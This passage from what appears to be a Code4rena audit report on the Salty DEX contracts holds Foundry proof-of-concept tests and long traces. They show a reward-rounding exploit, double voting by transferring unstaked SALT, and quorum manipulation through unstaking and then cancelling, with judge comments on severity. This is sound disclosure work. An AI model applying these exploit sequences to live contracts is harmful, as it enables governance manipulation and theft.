← () ├─ [155759] Staking::unstake(100000000000000000000 [1e20], 52) │ ├─ [306] StakingConfig::minUnstakeWeeks() [staticcall] │ │ └─ ← 2 │ ├─ [307] StakingConfig::maxUnstakeWeeks() [staticcall] │ │ └─ ← 52 │ ├─ [351] StakingConfig::minUnstakePercent() [staticcall] │ │ └─ ← 20 │ ├─ [22934] Salt::transfer(0x0000000000000000000000000000000000001111, 1) │ │ ├─ emit Transfer(from: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], to: 0x0000000000000000000000000000000000001111, value: 1) │ │ └─ ← true │ ├─ emit UserShareDecreased(wallet: 0x0000000000000000000000000000000000001111, poolID: 0x0000000000000000000000000000000000000000000000000000000000000000, amountDecreased: 100000000000000000000 [1e20], claimedRewards: 1) │ ├─ emit UnstakeInitiated(user: 0x0000000000000000000000000000000000001111, unstakeID: 3, amountUnstaked: 100000000000000000000 [1e20], claimableSALT: 100000000000000000000 [1e20], numWeeks: 52) │ └─ ← 3 ├─ [0] VM::stopPrank() │ └─ ← () ├─ [0] VM::warp(1738618548 [1.738e9]) │ └─ ← () ├─ [0] VM::startPrank(0x0000000000000000000000000000000000002222) │ └─ ← () ├─ [8994] Staking::recoverSALT(1) │ ├─ [3034] Salt::transfer(0x0000000000000000000000000000000000002222, 100000000000000000000 [1e20]) │ │ ├─ emit Transfer(from: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], to: 0x0000000000000000000000000000000000002222, value: 100000000000000000000 [1e20]) │ │ └─ ← true │ ├─ emit SALTRecovered(user: 0x0000000000000000000000000000000000002222, unstakeID: 1, saltRecovered: 100000000000000000000 [1e20], expeditedUnstakeFee: 0) │ └─ ← () ├─ [0] VM::stopPrank() │ └─ ← () ├─ [0] VM::startPrank(0x0000000000000000000000000000000000003333) │ └─ ← () ├─ [28342] Staking::recoverSALT(2) │ ├─ [22934] Salt::transfer(0x0000000000000000000000000000000000003333, 100000000000000000000 [1e20]) │ │ ├─ emit Transfer(from: Staking: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], to: 0x0000000000000000000000000000000000003333, value: 100000000000000000000 [1e20]) │ │ └─ ← true │ ├─ emit SALTRecovered(user: 0x0000000000000000000000000000000000003333, unstakeID: 2, saltRecovered: 100000000000000000000 [1e20], expeditedUnstakeFee: 0) │ └─ ← () ├─ [0] VM::stopPrank() │ └─ ← () ├─ [0] VM::startPrank(0x0000000000000000000000000000000000001111) │ └─ ← () ├─ [0] VM::expectRevert() │ └─ ← () ├─ [6365] Staking::recoverSALT(3) │ ├─ [756] Salt::transfer(0x0000000000000000000000000000000000001111, 100000000000000000000 [1e20]) │ │ └─ ← "ERC20: transfer amount exceeds balance" │ └─ ← "ERC20: transfer amount exceeds balance" ├─ [0] VM::stopPrank() │ └─ ← () └─ ← () Test result: ok. 1 passed; 0 failed; finished in 8.18s
Manual review
This attack is basically possible because the reward calculation rounds up and because it is possible to add SALT rewards without access control. From my point of view changing the reward calculation may lead to some other bugs so the best option would be adding access control to the addSALTRewards
function. That way this function would be only callable by the Upkeep and would only provide a certain number of rewards periodically.
Math
#0 - c4-judge
2024-02-03T15:17:41Z
Picodes marked the issue as duplicate of #223
#1 - c4-judge
2024-02-18T11:52:24Z
Picodes marked the issue as not a duplicate
#2 - c4-judge
2024-02-18T11:52:34Z
Picodes marked the issue as duplicate of #614
#3 - Picodes
2024-02-18T11:53:06Z
This seems to be a dup of #614 although the root cause isn't clearly identified
#4 - c4-judge
2024-02-18T16:58:29Z
Picodes changed the severity to 3 (High Risk)
#5 - c4-judge
2024-02-21T16:15:11Z
Picodes marked the issue as not a duplicate
#6 - c4-judge
2024-02-21T16:17:04Z
Picodes marked the issue as duplicate of #1021
#7 - c4-judge
2024-02-21T16:17:29Z
Picodes changed the severity to 2 (Med Risk)
#8 - c4-judge
2024-02-21T16:52:47Z
Picodes marked the issue as partial-50
🌟 Selected for report: PENGUN
Also found by: 0xanmol, Draiakoo, J4X, Matue, ReadyPlayer2, cu5t0mpeo, dutra, falconhoof, grearlake, peanuts, piyushshukla, vnavascues, zhanmingjing, zhaojie
31.1969 USDC - $31.20
https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/Proposals.sol#L259-L293
A user having staked SALT can vote for a proposal, initiate unstaking of his SALT, transfer the tokens to an other address, and vote again with the same SALT.
The user has to wait for the period to unstake his SALT (a minimum of 2 weeks) but taking into account that the initial ballotMinimumDuration
is set to 10 days (changable up to 2 weeks) and the fact that ballots will likely not be reaching the quorum immediately after that period is reached, it is completely possible for a user to execute this action.
Check this foundry test
Setup:
contract TestDAO is Deployment { // User wallets for testing address public constant alice = address(0x1111); address public constant bob = address(0x2222); constructor() { // If $COVERAGE=yes, create an instance of the contract so that coverage testing can work // Otherwise, what is tested is the actual deployed contract on the blockchain (as specified in Deployment.sol) if ( keccak256(bytes(vm.envString("COVERAGE" ))) == keccak256(bytes("yes" ))) initializeContracts(); grantAccessAlice(); grantAccessBob(); grantAccessCharlie(); grantAccessDeployer(); grantAccessDefault(); finalizeBootstrap(); vm.prank(address(daoVestingWallet)); salt.transfer(DEPLOYER, 15000000 ether); // Mint some USDS to the DEPLOYER and alice vm.startPrank( address(collateralAndLiquidity) ); usds.mintTo( DEPLOYER, 2000000 ether ); usds.mintTo( alice, 1000000 ether ); vm.stopPrank(); vm.prank( DEPLOYER ); salt.transfer( alice, 10000000 ether ); // Allow time for proposals vm.warp( block.timestamp + 45 days ); } function setUp() public { vm.startPrank( DEPLOYER ); usds.approve( address(dao), type(uint256).max ); salt.approve( address(staking), type(uint256).max ); usds.approve( address(proposals), type(uint256).max ); vm.stopPrank(); vm.startPrank( alice ); usds.approve( address(dao), type(uint256).max ); salt.approve( address(staking), type(uint256).max ); usds.approve( address(proposals), type(uint256).max ); vm.stopPrank(); }
Proof of Concept:
function testSameSALTCanBeUsedToVoteMoreThanOnce() public { vm.startPrank(alice); staking.stakeSALT( 1000000 ether ); // The proposal to vote for will be a token whitelisting IERC20 token = new TestERC20("TEST", 18); proposals.proposeTokenWhitelisting( token, "", "" ); uint256 ballotID = 1; // Alice votes with 1_000_000 SALT of voting power proposals.castVote(ballotID, Vote.YES); uint256 totalVotesBefore = proposals.totalVotesCastForBallot(ballotID); console.log("Total votes after alice voted for the first time", totalVotesBefore); // Alice immediately initiates unstaking for 2 weeks (which is the most reasonable // amount of time that would be possible to obtain the SALT before the ballot finishes) uint256 unstakeID = staking.unstake(1000000 ether, 2); // Increase block time to be able to recover the SALT skip(2 weeks); // Alice recovers the 20% of her staked SALT and transfers the amount to Bob staking.recoverSALT(unstakeID); salt.transfer(bob, 200000 ether); // 20% of the initial stake vm.stopPrank(); // Bob vote with the amount that Alice just transfered him vm.startPrank(bob); salt.approve(address(staking), 200000 ether); staking.stakeSALT(200000 ether); proposals.castVote(ballotID, Vote.YES); uint256 totalVotesAfter = proposals.totalVotesCastForBallot(ballotID); console.log("Total votes after bob voted", totalVotesAfter); // The total votes after must be greater than before the token transfer assertGt(totalVotesAfter, totalVotesBefore); }
Output traces:
Running 1 test for src/dao/tests/POCSforDAO.sol:TestDAO [PASS] testSameSALTCanBeUsedToVoteMoreThanOnce() (gas: 1643125) Logs: Total votes after alice voted for the first time 1000000000000000000000000 Total votes after bob voted 1200000000000000000000000 Traces: [1643125] TestDAO::testSameSALTCanBeUsedToVoteMoreThanOnce() ├─ [0] VM::startPrank(0x0000000000000000000000000000000000001111) │ └─ ← () ├─ [107526] Staking::stakeSALT(1000000000000000000000000 [1e24]) │ ├─ [14386] ExchangeConfig::walletHasAccess(0x0000000000000000000000000000000000001111) [staticcall] │ │ ├─ [4706] AccessManager::walletHasAccess(0x0000000000000000000000000000000000001111) [staticcall] │ │ │ └─ ← true │ │ └─ ← true │ ├─ [333] PoolsConfig::isWhitelisted(0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall] │ │ └─ ← true │ ├─ emit UserShareIncreased(wallet: 0x0000000000000000000000000000000000001111, poolID: 0x0000000000000000000000000000000000000000000000000000000000000000, amountIncreased: 1000000000000000000000000 [1e24]) │ ├─ [32142] Salt::transferFrom(0x0000000000000000000000000000000000001111, Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], 1000000000000000000000000 [1e24]) │ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000001111, to: Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], value: 1000000000000000000000000 [1e24]) │ │ └─ ← true │ ├─ emit SALTStaked(user: 0x0000000000000000000000000000000000001111, amountStaked: 1000000000000000000000000 [1e24]) │ └─ ← () ├─ [711153] → new TestERC20@0xfF9FA8f363F78f9F5658971A4F357ad95130D1F5 │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x0000000000000000000000000000000000001111, value: 1000000000000000000000000000000000 [1e33]) │ └─ ← 2870 bytes of code ├─ [416769] Proposals::proposeTokenWhitelisting(TestERC20: [0xfF9FA8f363F78f9F5658971A4F357ad95130D1F5], , ) │ ├─ [349] TestERC20::totalSupply() [staticcall] │ │ └─ ← 1000000000000000000000000000000000 [1e33] │ ├─ [2351] DAOConfig::maxPendingTokensForWhitelisting() [staticcall] │ │ └─ ← 5 │ ├─ [2362] PoolsConfig::maximumWhitelistedPools() [staticcall] │ │ └─ ← 50 │ ├─ [2393] PoolsConfig::numberOfWhitelistedPools() [staticcall] │ │ └─ ← 9 │ ├─ [283] ExchangeConfig::wbtc() [staticcall] │ │ └─ ← TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98] │ ├─ [239] ExchangeConfig::weth() [staticcall] │ │ └─ ← TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2] │ ├─ [5617] PoolsConfig::tokenHasBeenWhitelisted(TestERC20: [0xfF9FA8f363F78f9F5658971A4F357ad95130D1F5], TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2]) [staticcall] │ │ └─ ← false │ ├─ [370] ExchangeConfig::dao() [staticcall] │ │ └─ ← DAO: [0xAE65Fd081a1aAf0199d46D6101263489CcE9bd99] │ ├─ [529] Staking::totalShares(0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall] │ │ └─ ← 1000000000000000000000000 [1e24] │ ├─ [2329] DAOConfig::requiredProposalPercentStakeTimes1000() [staticcall] │ │ └─ ← 500 │ ├─ [701] Staking::userShareForPool(0x0000000000000000000000000000000000001111, 0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall] │ │ └─ ← 1000000000000000000000000 [1e24] │ ├─ [2352] DAOConfig::ballotMinimumDuration() [staticcall] │ │ └─ ← 864000 [8.64e5] │ ├─ emit ProposalCreated(ballotID: 1, ballotType: 1, ballotName: whitelist:0xff9fa8f363f78f9f5658971a4f357ad95130d1f5) │ └─ ← 1 ├─ [74468] Proposals::castVote(1, 3) │ ├─ [701] Staking::userShareForPool(0x0000000000000000000000000000000000001111, 0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall] │ │ └─ ← 1000000000000000000000000 [1e24] │ ├─ emit VoteCast(voter: 0x0000000000000000000000000000000000001111, ballotID: 1, vote: 3, votingPower: 1000000000000000000000000 [1e24]) │ └─ ← () ├─ [5874] Proposals::totalVotesCastForBallot(1) [staticcall] │ └─ ← 1000000000000000000000000 [1e24] ├─ [0] console::9710a9d0(000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000d3c21bcecceda10000000000000000000000000000000000000000000000000000000000000000000030546f74616c20766f74657320616674657220616c69636520766f74656420666f72207468652066697273742074696d6500000000000000000000000000000000) [staticcall] │ └─ ← () ├─ [130296] Staking::unstake(1000000000000000000000000 [1e24], 2) │ ├─ [2306] 0x01a1B171D93B7c5e0dF57a10465D905cb32Bb4C7::90d60965() [staticcall] │ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000002 │ ├─ [2307] 0x01a1B171D93B7c5e0dF57a10465D905cb32Bb4C7::1d370380() [staticcall] │ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000034 │ ├─ [2351] 0x01a1B171D93B7c5e0dF57a10465D905cb32Bb4C7::40cf2274() [staticcall] │ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000014 │ ├─ emit UserShareDecreased(wallet: 0x0000000000000000000000000000000000001111, poolID: 0x0000000000000000000000000000000000000000000000000000000000000000, amountDecreased: 1000000000000000000000000 [1e24], claimedRewards: 0) │ ├─ emit UnstakeInitiated(user: 0x0000000000000000000000000000000000001111, unstakeID: 0, amountUnstaked: 1000000000000000000000000 [1e24], claimableSALT: 200000000000000000000000 [2e23], numWeeks: 2) │ └─ ← 0 ├─ [0] VM::warp(1711962241 [1.711e9]) │ └─ ← () ├─ [37316] Staking::recoverSALT(0) │ ├─ [24934] Salt::transfer(Salt: [0x1d2Ef6eb8C15fEc174E7A9c30F21764d467423b1], 800000000000000000000000 [8e23]) │ │ ├─ emit Transfer(from: Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], to: Salt: [0x1d2Ef6eb8C15fEc174E7A9c30F21764d467423b1], value: 800000000000000000000000 [8e23]) │ │ └─ ← true │ ├─ [6977] Salt::burnTokensInContract() │ │ ├─ emit Transfer(from: Salt: [0x1d2Ef6eb8C15fEc174E7A9c30F21764d467423b1], to: 0x0000000000000000000000000000000000000000, value: 800000000000000000000000 [8e23]) │ │ ├─ emit SALTBurned(amount: 800000000000000000000000 [8e23]) │ │ └─ ← () │ ├─ [2428] Salt::transfer(0x0000000000000000000000000000000000001111, 200000000000000000000000 [2e23]) │ │ ├─ emit Transfer(from: Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], to: 0x0000000000000000000000000000000000001111, value: 200000000000000000000000 [2e23]) │ │ └─ ← true │ ├─ emit SALTRecovered(user: 0x0000000000000000000000000000000000001111, unstakeID: 0, saltRecovered: 200000000000000000000000 [2e23], expeditedUnstakeFee: 800000000000000000000000 [8e23]) │ └─ ← () ├─ [24934] Salt::transfer(0x0000000000000000000000000000000000002222, 200000000000000000000000 [2e23]) │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000001111, to: 0x0000000000000000000000000000000000002222, value: 200000000000000000000000 [2e23]) │ └─ ← true ├─ [0] VM::stopPrank() │ └─ ← () ├─ [0] VM::startPrank(0x0000000000000000000000000000000000002222) │ └─ ← () ├─ [24604] Salt::approve(Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], 200000000000000000000000 [2e23]) │ ├─ emit Approval(owner: 0x0000000000000000000000000000000000002222, spender: Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], value: 200000000000000000000000 [2e23]) │ └─ ← true ├─ [65372] Staking::stakeSALT(200000000000000000000000 [2e23]) │ ├─ [3886] ExchangeConfig::walletHasAccess(0x0000000000000000000000000000000000002222) [staticcall] │ │ ├─ [2706] AccessManager::walletHasAccess(0x0000000000000000000000000000000000002222) [staticcall] │ │ │ └─ ← true │ │ └─ ← true │ ├─ [333] PoolsConfig::isWhitelisted(0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall] │ │ └─ ← true │ ├─ emit UserShareIncreased(wallet: 0x0000000000000000000000000000000000002222, poolID: 0x0000000000000000000000000000000000000000000000000000000000000000, amountIncreased: 200000000000000000000000 [2e23]) │ ├─ [20425] Salt::transferFrom(0x0000000000000000000000000000000000002222, Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], 200000000000000000000000 [2e23]) │ │ ├─ emit Approval(owner: 0x0000000000000000000000000000000000002222, spender: Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], value: 0) │ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000002222, to: Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], value: 200000000000000000000000 [2e23]) │ │ └─ ← true │ ├─ emit SALTStaked(user: 0x0000000000000000000000000000000000002222, amountStaked: 200000000000000000000000 [2e23]) │ └─ ← () ├─ [52568] Proposals::castVote(1, 3) │ ├─ [701] Staking::userShareForPool(0x0000000000000000000000000000000000002222, 0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall] │ │ └─ ← 200000000000000000000000 [2e23] │ ├─ emit VoteCast(voter: 0x0000000000000000000000000000000000002222, ballotID: 1, vote: 3, votingPower: 200000000000000000000000 [2e23]) │ └─ ← () ├─ [3874] Proposals::totalVotesCastForBallot(1) [staticcall] │ └─ ← 1200000000000000000000000 [1.2e24] ├─ [0] console::9710a9d0(000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000fe1c215e8f838e000000000000000000000000000000000000000000000000000000000000000000001b546f74616c20766f74657320616674657220626f6220766f7465640000000000) [staticcall] │ └─ ← () └─ ← () Test result: ok. 1 passed; 0 failed; finished in 9.92s
Manual review
Creating voting power snapshots for users would disable this action
Governance
#0 - c4-judge
2024-02-02T11:13:35Z
Picodes marked the issue as duplicate of #746
#1 - c4-judge
2024-02-14T08:07:01Z
Picodes marked the issue as satisfactory
#2 - c4-judge
2024-02-14T08:07:20Z
Picodes marked the issue as selected for report
#3 - c4-judge
2024-02-14T08:07:27Z
Picodes marked issue #844 as primary and marked this issue as a duplicate of 844
🌟 Selected for report: 0xpiken
Also found by: 0xBinChook, 0xRobocop, 0xWaitress, Aymen0909, Draiakoo, Infect3d, J4X, Toshii, cats, haxatron, jasonxiale, klau5, solmaxis69, t0x1c, zhaojie
26.3224 USDC - $26.32
https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/Proposals.sol#L317-L339
Users that have huge amounts of staked SALT can manipulate the return of Proposals::requiredQuorumForBallotType()
for free. They can vote for a proposal, unstake they huge amount, the total shares inside the staking contract will decrease and as a result, the quorum will increase. After that, the user can immediately cancel unstake recovering all his staked SALT and having no penalty.
Check this foundry test
Setup:
contract TestProposals is Deployment { // User wallets for testing address public constant alice = address(0x1111); address public constant bob = address(0x2222); address public constant charlie = address(0x3333); constructor() { // If $COVERAGE=yes, create an instance of the contract so that coverage testing can work // Otherwise, what is tested is the actual deployed contract on the blockchain (as specified in Deployment.sol) if ( keccak256(bytes(vm.envString("COVERAGE" ))) == keccak256(bytes("yes" ))) initializeContracts(); grantAccessAlice(); grantAccessBob(); grantAccessCharlie(); vm.prank(address(initialDistribution)); salt.transfer(DEPLOYER, 100000000 ether); // Allow time for proposals vm.warp( block.timestamp + 45 days ); } function setUp() public { vm.startPrank( DEPLOYER ); usds.approve( address(proposals), type(uint256).max ); salt.approve( address(staking), type(uint256).max ); vm.stopPrank(); }
Proof of Concept:
function testDAOPOC() public { address saltWhale = alice; address otherStakers = bob; // The salt wahle have a big proportion of the total staked SALT vm.startPrank(DEPLOYER); salt.transfer(saltWhale, 930_000 ether); salt.transfer(otherStakers, 9_070_000 ether); vm.stopPrank(); vm.startPrank(saltWhale); salt.approve(address(staking), 930_000 ether); staking.stakeSALT(930_000 ether); vm.stopPrank(); vm.startPrank(otherStakers); salt.approve(address(staking), 9_070_000 ether); staking.stakeSALT(9_070_000 ether); vm.stopPrank(); bytes32[] memory poolIDs = new bytes32[](1); poolIDs[0] = bytes32(0); console.log("Total shares", staking.totalSharesForPools(poolIDs)[0]); console.log("Whale shares", staking.userShareForPools(saltWhale, poolIDs)[0]); console.log("Other stakers shares", staking.userShareForPools(otherStakers, poolIDs)[0]); // The whale votes for a proposal vm.startPrank(saltWhale); uint256 ballotID = proposals.proposeParameterBallot(2, "description" ); Vote newUserVote = Vote.DECREASE; proposals.castVote(ballotID, newUserVote); skip(10 days); // Ballot proposer should not be able to finalize the ballot because not enough shares had been // used to vote. // 930 000 ether // Voting power used = ---------------------- = 9.3% // 10 000 000 ether // Because, the required quorum is 10% vm.expectRevert(); dao.finalizeBallot(ballotID); // The whale can manipulate the totalShares by initiating unstake uint256 unstakeID = staking.unstake(930_000 ether, 52); // After that the quorum is reached due to the decrease of the total shares and the whale can finalize the ballot dao.finalizeBallot(ballotID); // After finalizing the ballot the whale can just recover his shares by canceling the unstake staking.cancelUnstake(unstakeID); vm.stopPrank(); }
Output traces:
Running 1 test for src/dao/tests/DAOProposalsPOCs.t.sol:TestProposals [PASS] testDAOPOC() (gas: 754711) Logs: Total shares 10000000000000000000000000 Whale shares 930000000000000000000000 Other stakers shares 9070000000000000000000000 Traces: [758924] TestProposals::testDAOPOC() ├─ [0] VM::startPrank(0x73107dA86708c2DAd0D91388fB057EeE3E2581aF) │ └─ ← () ├─ [29734] Salt::transfer(0x0000000000000000000000000000000000001111, 930000000000000000000000 [9.3e23]) │ ├─ emit Transfer(from: 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, to: 0x0000000000000000000000000000000000001111, value: 930000000000000000000000 [9.3e23]) │ └─ ← true ├─ [24934] Salt::transfer(0x0000000000000000000000000000000000002222, 9070000000000000000000000 [9.07e24]) │ ├─ emit Transfer(from: 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, to: 0x0000000000000000000000000000000000002222, value: 9070000000000000000000000 [9.07e24]) │ └─ ← true ├─ [0] VM::stopPrank() │ └─ ← () ├─ [0] VM::startPrank(0x0000000000000000000000000000000000001111) │ └─ ← () ├─ [24604] Salt::approve(Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], 930000000000000000000000 [9.3e23]) │ ├─ emit Approval(owner: 0x0000000000000000000000000000000000001111, spender: Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], value: 930000000000000000000000 [9.3e23]) │ └─ ← true ├─ [82572] Staking::stakeSALT(930000000000000000000000 [9.3e23]) │ ├─ [14386] ExchangeConfig::walletHasAccess(0x0000000000000000000000000000000000001111) [staticcall] │ │ ├─ [4706] AccessManager::walletHasAccess(0x0000000000000000000000000000000000001111) [staticcall] │ │ │ └─ ← true │ │ └─ ← true │ ├─ [333] PoolsConfig::isWhitelisted(0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall] │ │ └─ ← true │ ├─ emit UserShareIncreased(wallet: 0x0000000000000000000000000000000000001111, poolID: 0x0000000000000000000000000000000000000000000000000000000000000000, amountIncreased: 930000000000000000000000 [9.3e23]) │ ├─ [22025] Salt::transferFrom(0x0000000000000000000000000000000000001111, Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], 930000000000000000000000 [9.3e23]) │ │ ├─ emit Approval(owner: 0x0000000000000000000000000000000000001111, spender: Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], value: 0) │ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000001111, to: Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], value: 930000000000000000000000 [9.3e23]) │ │ └─ ← true │ ├─ emit SALTStaked(user: 0x0000000000000000000000000000000000001111, amountStaked: 930000000000000000000000 [9.3e23]) │ └─ ← () ├─ [0] VM::stopPrank() │ └─ ← () ├─ [0] VM::startPrank(0x0000000000000000000000000000000000002222) │ └─ ← () ├─ [24604] Salt::approve(Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], 9070000000000000000000000 [9.07e24]) │ ├─ emit Approval(owner: 0x0000000000000000000000000000000000002222, spender: Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], value: 9070000000000000000000000 [9.07e24]) │ └─ ← true ├─ [36152] Staking::stakeSALT(9070000000000000000000000 [9.07e24]) │ ├─ [3886] ExchangeConfig::walletHasAccess(0x0000000000000000000000000000000000002222) [staticcall] │ │ ├─ [2706] AccessManager::walletHasAccess(0x0000000000000000000000000000000000002222) [staticcall] │ │ │ └─ ← true │ │ └─ ← true │ ├─ [333] PoolsConfig::isWhitelisted(0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall] │ │ └─ ← true │ ├─ emit UserShareIncreased(wallet: 0x0000000000000000000000000000000000002222, poolID: 0x0000000000000000000000000000000000000000000000000000000000000000, amountIncreased: 9070000000000000000000000 [9.07e24]) │ ├─ [4505] Salt::transferFrom(0x0000000000000000000000000000000000002222, Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], 9070000000000000000000000 [9.07e24]) │ │ ├─ emit Approval(owner: 0x0000000000000000000000000000000000002222, spender: Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], value: 0) │ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000002222, to: Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], value: 9070000000000000000000000 [9.07e24]) │ │ └─ ← true │ ├─ emit SALTStaked(user: 0x0000000000000000000000000000000000002222, amountStaked: 9070000000000000000000000 [9.07e24]) │ └─ ← () ├─ [0] VM::stopPrank() │ └─ ← () ├─ [1294] Staking::totalSharesForPools([0x0000000000000000000000000000000000000000000000000000000000000000]) [staticcall] │ └─ ← [10000000000000000000000000 [1e25]] ├─ [0] console::9710a9d0(0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000084595161401484a000000000000000000000000000000000000000000000000000000000000000000000c546f74616c207368617265730000000000000000000000000000000000000000) [staticcall] │ └─ ← () ├─ [1532] Staking::userShareForPools(0x0000000000000000000000000000000000001111, [0x0000000000000000000000000000000000000000000000000000000000000000]) [staticcall] │ └─ ← [930000000000000000000000 [9.3e23]] ├─ [0] console::9710a9d0(000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000c4ef66a948d2c1400000000000000000000000000000000000000000000000000000000000000000000c5768616c65207368617265730000000000000000000000000000000000000000) [staticcall] │ └─ ← () ├─ [1532] Staking::userShareForPools(0x0000000000000000000000000000000000002222, [0x0000000000000000000000000000000000000000000000000000000000000000]) [staticcall] │ └─ ← [9070000000000000000000000 [9.07e24]] ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000780a5af6ab87588c0000000000000000000000000000000000000000000000000000000000000000000144f74686572207374616b65727320736861726573000000000000000000000000) [staticcall] │ └─ ← () ├─ [0] VM::startPrank(0x0000000000000000000000000000000000001111) │ └─ ← () ├─ [298304] Proposals::proposeParameterBallot(2, description) │ ├─ [370] ExchangeConfig::dao() [staticcall] │ │ └─ ← DAO: [0xAE65Fd081a1aAf0199d46D6101263489CcE9bd99] │ ├─ [529] Staking::totalShares(0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall] │ │ └─ ← 10000000000000000000000000 [1e25] │ ├─ [2329] DAOConfig::requiredProposalPercentStakeTimes1000() [staticcall] │ │ └─ ← 500 │ ├─ [701] Staking::userShareForPool(0x0000000000000000000000000000000000001111, 0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall] │ │ └─ ← 930000000000000000000000 [9.3e23] │ ├─ [2352] DAOConfig::ballotMinimumDuration() [staticcall] │ │ └─ ← 864000 [8.64e5] │ ├─ emit ProposalCreated(ballotID: 1, ballotType: 0, ballotName: parameter:2) │ └─ ← 1 ├─ [74491] Proposals::castVote(1, 1) │ ├─ [701] Staking::userShareForPool(0x0000000000000000000000000000000000001111, 0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall] │ │ └─ ← 930000000000000000000000 [9.3e23] │ ├─ emit VoteCast(voter: 0x0000000000000000000000000000000000001111, ballotID: 1, vote: 1, votingPower: 930000000000000000000000 [9.3e23]) │ └─ ← () ├─ [0] VM::warp(1711192404 [1.711e9]) │ └─ ← () ├─ [0] VM::expectRevert() │ └─ ← () ├─ [24644] DAO::finalizeBallot(1) │ ├─ [18720] Proposals::canFinalizeBallot(1) [staticcall] │ │ ├─ [529] Staking::totalShares(0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall] │ │ │ └─ ← 10000000000000000000000000 [1e25] │ │ ├─ [2374] DAOConfig::baseBallotQuorumPercentTimes1000() [staticcall] │ │ │ └─ ← 10000 [1e4] │ │ ├─ [260] ExchangeConfig::salt() [staticcall] │ │ │ └─ ← Salt: [0x1d2Ef6eb8C15fEc174E7A9c30F21764d467423b1] │ │ ├─ [2349] Salt::totalSupply() [staticcall] │ │ │ └─ ← 100000000000000000000000000 [1e26] │ │ └─ ← false │ └─ ← "The ballot is not yet able to be finalized" ├─ [138169] Staking::unstake(930000000000000000000000 [9.3e23], 52) │ ├─ [2306] 0x01a1B171D93B7c5e0dF57a10465D905cb32Bb4C7::90d60965() [staticcall] │ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000002 │ ├─ [2307] 0x01a1B171D93B7c5e0dF57a10465D905cb32Bb4C7::1d370380() [staticcall] │ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000034 │ ├─ [2351] 0x01a1B171D93B7c5e0dF57a10465D905cb32Bb4C7::40cf2274() [staticcall] │ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000014 │ ├─ emit UserShareDecreased(wallet: 0x0000000000000000000000000000000000001111, poolID: 0x0000000000000000000000000000000000000000000000000000000000000000, amountDecreased: 930000000000000000000000 [9.3e23], claimedRewards: 0) │ ├─ emit UnstakeInitiated(user: 0x0000000000000000000000000000000000001111, unstakeID: 0, amountUnstaked: 930000000000000000000000 [9.3e23], claimableSALT: 930000000000000000000000 [9.3e23], numWeeks: 52) │ └─ ← 0 ├─ [46594] DAO::finalizeBallot(1) │ ├─ [18721] Proposals::canFinalizeBallot(1) [staticcall] │ │ ├─ [529] Staking::totalShares(0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall] │ │ │ └─ ← 9070000000000000000000000 [9.07e24] │ │ ├─ [2374] DAOConfig::baseBallotQuorumPercentTimes1000() [staticcall] │ │ │ └─ ← 10000 [1e4] │ │ ├─ [260] ExchangeConfig::salt() [staticcall] │ │ │ └─ ← Salt: [0x1d2Ef6eb8C15fEc174E7A9c30F21764d467423b1] │ │ ├─ [2349] Salt::totalSupply() [staticcall] │ │ │ 